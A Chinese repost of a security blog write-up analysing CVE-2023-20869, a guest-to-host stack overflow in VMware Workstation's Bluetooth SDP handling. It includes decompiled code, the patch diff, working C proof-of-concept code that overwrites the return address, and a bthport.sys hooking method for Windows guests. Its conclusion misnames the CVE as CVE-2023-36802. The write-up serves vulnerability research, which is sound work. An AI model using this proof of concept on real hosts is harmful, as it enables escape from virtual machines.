这篇博文是关于我们在 X 上演示的 N-day 全链漏洞利用中使用的漏洞的第五个系列。在这篇博文中,我们将介绍如何从客户机在主机操作系统上执行任意代码。
该漏洞为 CVE-2023–20869,由 Pwn2own 2023 Vancouver 中的 @starlabs_sg 证明。自 2023 年 6 月以来,我们的威胁情报服务 Fermium-252 已在 Aril 中修补了此漏洞,并利用了此漏洞。
请注意,大多数说明都是基于 VMware-workstation-full-17.0.1-21139696.exe
安装文件,并且大多数符号都是通过反转来识别的,因此它们可能不正确。
处理虚拟蓝牙设备上的服务发现协议
蓝牙服务发现协议 (SDP) 旨在帮助设备发现彼此的服务并确定如何访问它们。这就像在目录中查找企业以了解他们提供的产品以及如何联系他们一样。这意味着找出设备具有哪些功能,例如它是否可以处理文件传输、音频流或具有特定类型的传感器。
SDP 具有服务器-客户端模型,如图 1 所示,其中客户端发送 SDP 请求,然后 SDP 服务器和蓝牙设备上运行的应用程序处理请求并返回 SDP 响应。
图 1.SDP通信
处理 SDP 数据包时,VBluetooth 设备充当代理,在客户机和主机之间中继蓝牙通信。从 VMware Workstation 的角度来看,客户机和蓝牙设备之间的 SDP 客户端-服务器交互如图 2 所示。
图2.VMware Workstation 中的 SDP 通信
为了在客户机上的蓝牙设备和主机上的蓝牙接收器之间进行中继,VMware 提供了一个实现,用于处理从 SDP 客户端和服务器接收的 SDP 数据包。
CVE-2023–20869 的根本原因
将 SDP 数据包从客户机发送到 Bluetooth 设备时,请求数据包由 VMware 主机上的 vmware-vmx 进程处理。
首先,vmware-vmx 调用 process_request
函数,它在内部调用 RBuf_CopyOutHeader
函数来读取客户机发送的 SDP 数据包。SDP 数据包以 5 字节的协议数据单元 (PDU) 开头,PDU 由 sdp_pdu_hdr_t
结构表示。该 pdu_id
字段指示 SDP 数据包的类型,以及vmware_vmx句柄 SDP_SVC_ATTR_REQ(0x04)
和 SDP_SVC_SEARCH_ATTR_REQ(0x06)
数据包。( [0]
)
typedef struct {
uint8_t pdu_id;
uint16_t tid;
uint16_t plen;
} sdp_pdu_hdr_t;
void __fastcall process_request(struct_a1_1 *req) // sub_14086BCE0
{
// ...
sdp_pdu_hdr_t req_pdu_hdr; // [rsp+28h] [rbp-30h] BYREF
struct_a1_1 *ref_pdu_data; // [rsp+30h] [rbp-28h] BYREF
if ( req->field_30 )
{
input = (_QWORD *)req->input;
if ( input )
{
while ( 1 )
{
if ( !(unsigned int)RBuf_Length(input) )
return;
if ( !RBuf_CopyOutHeader((_QWORD *)req->input, (char *)&req_pdu_hdr, 5ui64) )
return;
pdu_data = (struct_a1_1 *)RBuf_CopyOutData(
(_QWORD **)&req->input,
5u,
(unsigned __int16)__ROL2__(req_pdu_hdr.plen, 8));
v4 = pdu_data;
if ( !pdu_data )
return;
opcode = req_pdu_hdr.pdu_id;
tid = req_pdu_hdr.tid;
ref_pdu_data = ref_sdp(pdu_data);
res = 0i64;
if ( opcode == SDP_SVC_SEARCH_REQ )
break;
if ( opcode == SDP_SVC_ATTR_REQ )
{
v7 = sdp_service_attr_req(req, &ref_pdu_data, &res); // <--- [0]
// ...
}
if ( opcode == SDP_SVC_SEARCH_ATTR_REQ )
{
v7 = proc_search_attr_req(req, &ref_pdu_data, &res);
// ...
}
该 proc_search_attr_req
函数调用 SDPData_ReadElement
and SDPData_ReadRawInt
函数来读取从客户机接收的 SDP 数据包数据。服务类 ID 和属性 ID 以序列类型存储,可以通过调用 SDPData_ReadElement(..,SDP_DE_SEQ,..)
来读取。 ([1])
然后,它调用 sub_14083CB90
函数以按请求的服务类 ID 和属性 ID 搜索蓝牙设备服务。
__int64 __fastcall proc_search_attr_req(struct_a1_1 *a1, _QWORD *a2, __int64 **a3) // sub_14086C1D0
{
// ...
v6 = (char *)*((_QWORD *)a1->field_20 + 3);
if ( !SDPData_ReadElement(a2, SDP_DE_SEQ, &v20) ) // Service class IDs (sequence)
return 3i64;
if ( !SDPData_ReadRawInt(a2, SDP_DE_INT, &v22, 0i64) || !SDPData_ReadElement(a2, SDP_DE_SEQ, &attrids) ) // <--- [1]
{ //specify the response limit , // Attribute IDs(sequence)
sub_14083BCB0((__int64)&v20);
return 3i64;
}
if ( sdp_getdatasize(a2, &v19) )
{
v8 = v22;
if ( v22 < 0x21 )
v8 = 33i64;
v9 = (struct_a1_1 *)a1->field_30;
v22 = v8 - 32;
v10 = sub_14083CB90(v9, v6, (struct_a1_1 *)v20.data, (struct_a1_1 *)search_list.data);
该 sub_14083CB90
函数在内部调用该 sub_14083C7F0
函数,该函数将从设备接收的响应与从 proc_search_attr_req
函数传递的 ID 进行比较,以查找匹配的服务。
在 中 [2]
,它会遍历从设备接收的服务属性 ID,查找与作为参数传递的服务 attrids
匹配的服务。在本例中,它调用 SDPData_ReadElement
而不是 SDPData_ReadRawInt
读取 SDP_DE_UINT
值。( [3]
)
_WORD *__fastcall sub_14083C7F0(struct_a1_1 *from_dev, char *a2, int a3, struct_a1_1 *attrids)
{
// ...
from_dev_ = ref_sdp(from_dev);
if ( !SDPData_ReadElement(&from_dev_, SDP_DE_SEQ, &element) )// get devices attr information
{
LABEL_9:
unref_sdp(from_dev_);
return 0i64;
}
// ...
data = element.data;
// ...
while ( SDPData_ReadElement(&data, SDP_DE_UINT, &v18) ) // <--- [2]
{
data_low = LOWORD(v18.data);
attrids_ = ref_sdp(attrids);
found = 0;
do
{
if ( !SDPData_ReadElement(&attrids_, SDP_DE_UINT, &attr_id) )// <--- [3]
break;
if ( attr_id.ele_size == 2 )
{
max = attr_id.data;
min = attr_id.data;
}
else
{
if ( attr_id.ele_size != 4 )
break;
min = WORD1(attr_id.data);
max = LOWORD(attr_id.data);
if ( WORD1(attr_id.data) > (unsigned int)LOWORD(attr_id.data) )
break;
}
if ( data_low >= min && data_low <= max )
found = 1;
}
// ...
该 SDPData_ReadElement
函数从数据流中读取 1 个字节以确定数据类型,并根据类型读取以下数据。前 3 位表示大小,如果 buf & 7 == 6
这样,则再读取 2 个字节并确定大小。( [4]
). RBuf_CopyOutHeader
调用读取 3 个字节,但其中第一个字节与之前读取的字节相同。
第一个字节 ( ele_type
) 的高阶 5 位确定类型,如果 ele_type
等于 type_in
,或者如果 type_in
为 -1
,则处理以下 switch 语句。switch 语句读取数据并根据类型确定大小。( [5]
)
char __fastcall SDPData_ReadElement(_QWORD *in_rbuf, int type_in, struct_a3 *ele)
{
// ...
v3 = (_QWORD *)*in_rbuf;
addition_size_desc = 1;
if ( !RBuf_CopyOutHeader((_QWORD *)*in_rbuf, (char *)&buf, 1ui64) )
return 0;
switch ( buf & 7 )
{
case 0:
ele_size = (buf & 0xF8) != 0;
break;
case 1:
ele_size = 2;
break;
// ...
case 6:
addition_size_desc = 3;
if ( !RBuf_CopyOutHeader(v3, (char *)&buf, 3ui64) ) // <--- [4]
return 0;
ele_size = (unsigned __int16)__ROL2__(v21, 8); // &v21 == &(buf + 1)
break;
// ...
}
ele_type = buf >> 3;
if ( !SDPData_Slice((_QWORD **)in_rbuf, addition_size_desc) || type_in != -1 && ele_type != type_in )
return 0;
return 0;
if ( ele_size > (unsigned int)RBuf_Length((_QWORD *)*in_rbuf) )
return 0;
ele->ele_type = ele_type;
ele->ele_size = ele_size;
switch ( ele_type )
{
case SDP_DE_NULL:
_mm_lfence();
return ele_size == 0;
case SDP_DE_UINT:
_mm_lfence();
return SDPData_ReadRawInt(in_rbuf, ele_size, &ele->data, &ele->qword10); // <--- [5]
// ...
case SDP_DE_URL:
_mm_lfence();
ele->data = RBuf_CopyOutData((_QWORD **)in_rbuf, 0, ele_size);
return 1;
// ...
该 SDPData_ReadRawInt
函数从缓冲区读取 len
数据并将其转换为 int 值。该参数 buf_in
是存储客户机 SDP 请求的缓冲区, len
也由攻击者可控制的 SDP 请求确定。
char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4)
{
size_t v4; // rdi
char result;
char Src[16]; // [rsp+30h] [rbp-48h] BYREF
// [rsp+40h] == security cookie
v4 = len; // char temp[16]; [rsp+20h]
result = RBuf_CopyOutHeader(*buf_in, Src, len);
if ( result )
{
memcpy(&Src[-v4], Src, v4);
*a3 = 0LL; // decompile error, save int value into *a3
if ( a4 )
*a4 = 0LL; // decompile error, save some data value into *a4
return SDPData_Slice(buf_in, v4);
}
return result;
通常,堆栈向下增长(即从高地址到低地址),因此将 v4
-size 数据复制到中 Src[-v4]
似乎并不容易受到攻击。但是,实际的内存复制是在 memcpy
函数中完成的,因此正确设置了 len
的值,可以在 memcpy
函数期间覆盖存储在堆栈上的返回地址,如图 3 所示。此外,由于 memcpy 函数不使用自己的堆栈,因此没有堆栈 cookie。
图3.触发漏洞时的堆栈帧
CVE-2023–20869 补丁
该修补程序是通过区分两个不同版本的 VMware Workstation 17.0.1 和 17.0.2 来识别的。
因此,异常处理代码将添加到函数中 SDPData_ReadRawInt
,以便在 len
大于 16
时返回错误。
char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4) // sub_14083C560
{
__int64 v4; // rbx
char Src[16]; // [rsp+30h] [rbp-48h] BYREF
v4 = len;
+ if ( len > 0x10 )
+ return 0;
_mm_lfence();
if ( !RBuf_CopyOutHeader(*buf_in, Src, len) )
return 0;
_mm_lfence();
memcpy(&Src[-v4], Src, (unsigned int)v4);
*a3 = 0i64;
if ( a4 )
*a4 = 0i64;
return SDPData_Slice(buf_in, v4);
}
概念验证
虽然有许多不同的方法可以到达易受攻击 SDPData_ReadRawInt
的功能,但本博客介绍了如何通过“根本原因”一节中描述的路径触发漏洞。
该 sub_14083C7F0
功能将从设备接收的响应与访客传递的 ID 进行比较,以找到匹配的服务,因此要访问它,您需要向正常工作的蓝牙设备发送 SDP_SVC_SEARCH_ATTR_REQ
请求并接收响应。
与蓝牙设备的 SDP 通信不需要配对,但由于并非所有蓝牙设备都具有 SDP 服务器和应用程序,因此需要具有活动 SDP 服务器的设备的地址才能触发漏洞。
在 Linux 上,我们可以使用 bluetootlctl
命令发现蓝牙设备,如下所示。
$ bluetoothctl
Agent registered
[CHG] Controller 70:32:17:B7:0D:FD Pairable: yes
[bluetooth]# scan on
Discovery started
[CHG] Controller 70:32:17:B7:0D:FD Discovering: yes
[NEW] Device 64:7B:CE:21:53:BD Galaxy S20 FE 5Gㅜㅠ
在 Linux 上,我们可以使用 libbluetooth 库轻松创建和发送 SDP 请求。创建一个 L2CAP 套接字以向其发送 SDP 请求,建立连接,并调用该 sdp_connect
函数以创建 SDP 会话。
bdaddr_t bdaddr = {{0xbd,0x53,0x21,0xce,0x7B,0x64}}; // 64:7B:CE:21:53:BD
uint8_t channel = 0x01;
printf("[+] Connect SDP via L2CAP n");
int l2cap_sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (l2cap_sock < 0) {
perror("Failed to create L2CAP socket");
return 1;
}
// Connect l2cap socket
struct sockaddr_l2 l2cap_addr = { 0 };
l2cap_addr.l2_family = AF_BLUETOOTH;
l2cap_addr.l2_psm = htobs(channel);
l2cap_addr.l2_bdaddr = bdaddr;
if (connect(l2cap_sock, (struct sockaddr *)&l2cap_addr, sizeof(l2cap_addr)) < 0) {
perror("Failed to connect to L2CAP socket");
close(l2cap_sock);
return 1;
}
sdp_session_t *session = sdp_connect(BDADDR_ANY, &bdaddr, SDP_RETRY_IF_BUSY);
if (!session) {
perror("Failed to connect to SDP session");
close(l2cap_sock);
return 1;
}
生成一个SDP数据包,在连接后在请求中发送。若要触发此漏洞,请将 pdu_id
该值设置为 SDP_SVC_SEARCH_ATTR_REQ
,并且服务 ID 应包含具有操纵长度值的数据类型 SDP_DE_UINT
。
sdp_pdu_hdr_t *reqhdr, *rsphdr;
uint32_t reqsize, rspsize;
reqbuf = malloc(SDP_REQ_BUFFER_SIZE);
rspbuf = malloc(SDP_RSP_BUFFER_SIZE);
if (!reqbuf || !rspbuf) {
goto clean_buf;
}
memset(reqbuf, 0x0, SDP_REQ_BUFFER_SIZE);
memset(rspbuf, 0, SDP_REQ_BUFFER_SIZE);
uint32_t tmp;
uint32_t pos = 0;
reqhdr = (sdp_pdu_hdr_t *) reqbuf;
reqhdr->pdu_id = 6; //SDP_SVC_SEARCH_ATTR_REQ
reqdata = reqbuf + sizeof(sdp_pdu_hdr_t);
//service class IDs (empty)
reqdata[pos++] = 6 | 6<<3;
reqdata[pos++] = 0x00;
reqdata[pos++] = 0x00; // size
// specify the response limit
// int 2
*((unsigned short *)&reqdata[pos]) = htons(65535);
pos += 2;
// attribute id seqence
uint16_t oobsize = 0x90;
reqdata[pos++] = 6 | 6<<3;
*((unsigned short *)&reqdata[pos]) = htons(oobsize+3);
pos+=2;
reqdata[pos++] = 6 /*data_type*/ | 1<<3 /*ele_type*/;
*((unsigned short *)&reqdata[pos]) = htons(oobsize);
pos+=2;
memset(&reqdata[pos], 0x41, oobsize);
pos+=oobsize;
然后通过 L2CAP 套接字发送生成的 SDP 数据包。在 Ubuntu 21 及更高版本上,蓝牙驱动程序兼容性不适用于 VMware 的 VBluetooth 设备。为了成功测试,我们使用了安装了 Ubuntu 20.04 的客户机。
如果 PoC 运行成功,您可以看到该值 0x4141414141414141
存储在指令之前 ret
RSP 寄存器指向的位置
VCRUNTIME140!memcpy+0x2fd:
00007ffb`657715ed c3 ret
0:000> dq rsp
00000039`a18fea08 41414141`41414141 41414141`41414141
00000039`a18fea18 41414141`41414141 41414141`41414141
00000039`a18fea28 41414141`41414141 41414141`41414141
00000039`a18fea38 41414141`41414141 41414141`41414141
00000039`a18fea48 41414141`41414141 41414141`41414141
00000039`a18fea58 41414141`41414141 41414141`41414141
00000039`a18fea68 41414141`41414141 41414141`41414141
00000039`a18fea78 41414141`41414141 41414141`41414141
Windows 客户机上的漏洞利用
如 PoC 中所述,该 memcpy
函数可以通过执行 ROP 轻松执行系统命令,因为它没有堆栈 cookie,并且可以向堆栈写入足够的数据。在本节中,我们将重点介绍如何在 Windows 客户机上实现漏洞利用。
与 Linux 不同,Windows 不提供这样的 libbluetooth
库,因此您必须编写自己的设备驱动程序代码才能触发漏洞。但是,编写蓝牙设备驱动程序需要蓝牙知识和驱动程序开发经验。
为了在不编写驱动程序的情况下执行此漏洞,我们修补了在 Windows 上运行蓝牙设备驱动程序的代码。该 bthport.sys
驱动程序是适用于 Windows 的蓝牙总线驱动程序,用于创建 SDP 请求并将其发送到蓝牙设备。在函数中 bthport!SdpL2cap_SendServiceSearchAttributeRequest
创建 SDP_SVC_SEARCH_ATTR_REQ
请求,最后将完成的 SDP 数据包 ( v12
) 通过 bthport!SdpL2cap_SendInitialRequestToServer
发送到设备。
int __fastcall SdpL2cap_SendServiceSearchAttributeRequest(struct _SDP_L2CAP_CONNECTION *a1, struct _IRP *a2)
{
// ...
ServiceSearchTree = SdpInt_CreateServiceSearchTree(
(struct _SdpQueryUuid *)((char *)&v6.MasterIrp->MdlAddress + 4),
Type);
// ...
AttributeSearchTree = SdpInt_CreateAttributeSearchTree(
(struct _SdpAttributeRange *)&v6.MasterIrp[1].ThreadListEntry.Blink + 1,
v7);
v12 = P;
v9 = v11;
if ( v11 < 0 || (v9 = SdpNodeToStream((struct _SDP_NODE *)AttributeSearchTree->RootNode.hdr.Link.Flink), v9 < 0) )
{
if ( v12 )
ExFreePoolWithTag(v12, 0);
v5 = a1;
goto LABEL_18;
}
// ...
return SdpL2cap_SendInitialRequestToServer(a1, a2, v12, 8u, 6u);
}
为了在传递 SDP 数据包之前对其进行操作,我们在 SdpL2cap_SendInitialRequestToServer
调用中安装了一个钩子。会动态修改存储的 v12
SDP 数据包的内容以触发漏洞。
图4.挂钩bthport.sys以触发漏洞
安装钩子后,可以调用 WSALookupServiceBegin
和 WSALookupServiceNext
API 来执行 SdpL2cap_SendServiceSearchAttributeRequest
该函数,如果安装的钩子运行成功,则会发送一个构建的 SDP,可用于执行任意命令。
VOID send_sdp_service_attr() {
// ...
if (WSAStartup(MAKEWORD(2, 2), &m_data) == 0)
protocolInfoSize = sizeof(protocolInfo);
ULONGLONG btAddr = 0x647BCE2153BD; // "64:7B:CE:21:53:BD
SOCKADDR_BTH sa;
memset(&sa, 0, sizeof(sa));
sa.addressFamily = AF_BTH;
sa.btAddr = btAddr;
sa.serviceClassId = RFCOMM_PROTOCOL_UUID;
sa.port = BT_PORT_ANY;
memset(&querySet, 0, sizeof(querySet));
querySet.dwSize = sizeof(querySet);
protocol = L2CAP_PROTOCOL_UUID;
querySet.lpServiceClassId = &protocol;
querySet.dwNameSpace = NS_BTH;
querySet.lpszContext = (LPWSTR)addressAsString;
flags = LUP_FLUSHCACHE | LUP_RETURN_BLOB;
result = WSALookupServiceBegin(&querySet, flags, &hLookup);
if (result == 0) {
while (result == 0) {
bufferLength = sizeof(buffer);
pResults = (WSAQUERYSET*)&buffer;
result = WSALookupServiceNext(hLookup, flags, &bufferLength, pResults);
}
}
WSACleanup();
}
}
结论
这篇文章提供了对 CVE-2023–36802 的分析,我们在为期N-day的全链演示中利用了该分析。下一篇文章将介绍如何利用 Windows Streaming Service 中的漏洞攻击主机上的 Windows LPE。
参考
https://www.zerodayinitiative.com/blog/2023/5/17/cve-2023-2086920870-exploiting-vmware-workstation-at-pwn2own-vancouver
https://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-54/out/en/host/service-discovery-protocol--sdp--specification.html
Chaining N-days to Compromise All: Part 5 — VMware Workstation Guest-to-Host Escape
https://blog.theori.io/chaining-n-days-to-compromise-all-part-5-vmware-workstation-host-to-guest-escape-5a1297e431b5
原文始发于微信公众号(Ots安全):将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论